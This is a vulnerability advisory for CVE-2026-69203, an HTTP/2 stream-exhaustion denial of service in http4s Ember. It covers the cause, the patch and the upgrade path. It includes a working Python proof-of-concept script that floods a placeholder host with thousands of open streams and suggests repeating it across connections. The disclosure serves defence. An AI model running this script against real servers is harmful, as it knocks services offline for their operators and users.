high · 7.5CVE-2026-69203Sep 15, 2026

CVE-2026-69203: http4s Ember HTTP/2 Unbounded Stream Allocation DoS

Rohit Hatagale
AI Security Researcher, SecureLayer7

Any http4s Ember server with HTTP/2 enabled will accept an unlimited number of concurrent streams from a single unauthenticated connection, letting an attacker exhaust server heap memory and crash…

Packageorg.http4s:http4s-ember-core_2.12
Ecosystemmaven
Affected<= 0.23.34
Fixed in0.23.35
CVE-2026-69203: http4s Ember HTTP/2 Unbounded Stream Allocation DoS

The problem

The H2Connection handler in http4s-ember-core advertises a SETTINGS_MAX_CONCURRENT_STREAMS value to peers but never enforces it. When a client opens more streams than the advertised limit, the server allocates per-stream state for each one and never rejects the excess.

A single unauthenticated TCP connection can open streams indefinitely, each consuming heap memory that is never released. This leads to out-of-memory process termination with no authentication required. The same path is reachable from the client side via server-initiated PUSH_PROMISE frames.

Proof of concept

A working proof-of-concept for CVE-2026-69203 in org.http4s:http4s-ember-core_2.12, with the exact payload below.

python
# Derive N beyond the advertised SETTINGS_MAX_CONCURRENT_STREAMS (e.g. 100+)
# Each HEADERS frame opens a new server-side stream that is never cleaned up.
# Stream IDs must be odd (client-initiated) and strictly increasing.

import socket, ssl, h2.connection, h2.config, h2.events

HOST, PORT = "victim.example.com", 443
STREAM_COUNT = 5000   # far exceeds any advertised limit

ctx = ssl.create_default_context()
ctx.set_alpn_protocols(["h2"])

sock = ctx.wrap_socket(socket.create_connection((HOST, PORT)), server_hostname=HOST)
conn = h2.connection.H2Connection(config=h2.config.H2Configuration(client_side=True))
conn.initiate_connection()
sock.sendall(conn.data_to_send(65535))

for i in range(STREAM_COUNT):
    stream_id = 2 * i + 1          # odd, client-initiated
    conn.send_headers(
        stream_id=stream_id,
        headers=[
            (":method", "GET"),
            (":path", "/"),
            (":scheme", "https"),
            (":authority", HOST),
        ],
        end_stream=False,          # keep stream open; server allocates state and waits
    )
    sock.sendall(conn.data_to_send(65535))
# Server now holds STREAM_COUNT open per-stream state objects; repeat across
# multiple connections to exhaust heap.

The server reads the peer's SETTINGS_MAX_CONCURRENT_STREAMS but the H2Connection read loop never increments a counter and never compares it against the configured limit before allocating a new stream object. Because end_stream=False is set, the stream stays open and its server-side state (flow-control windows, header buffer, response queue) accumulates indefinitely.

The patch at commit 4983de1f adds an active-stream counter check before the stream is created; if the count meets or exceeds the negotiated maxConcurrentStreams, the server immediately responds with RST_STREAM / REFUSED_STREAM (0x7) and discards the request, preventing the allocation.

The same guard is applied to PUSH_PROMISE on the client path. This is CWE-770 (Allocation of Resources Without Limits or Throttling).

The fix

Upgrade to org.http4s:http4s-ember-core_2.12:0.23.35 (or 1.0.0-M47 on the 1.x series). If upgrading immediately is not possible, disable HTTP/2 by removing .withHttp2 from EmberServerBuilder and avoiding HTTP/2 on EmberClientBuilder (it is off by default on the client).

Reported by reardonj, ERobertGII.

References: [1][2][3][4][5]

Related research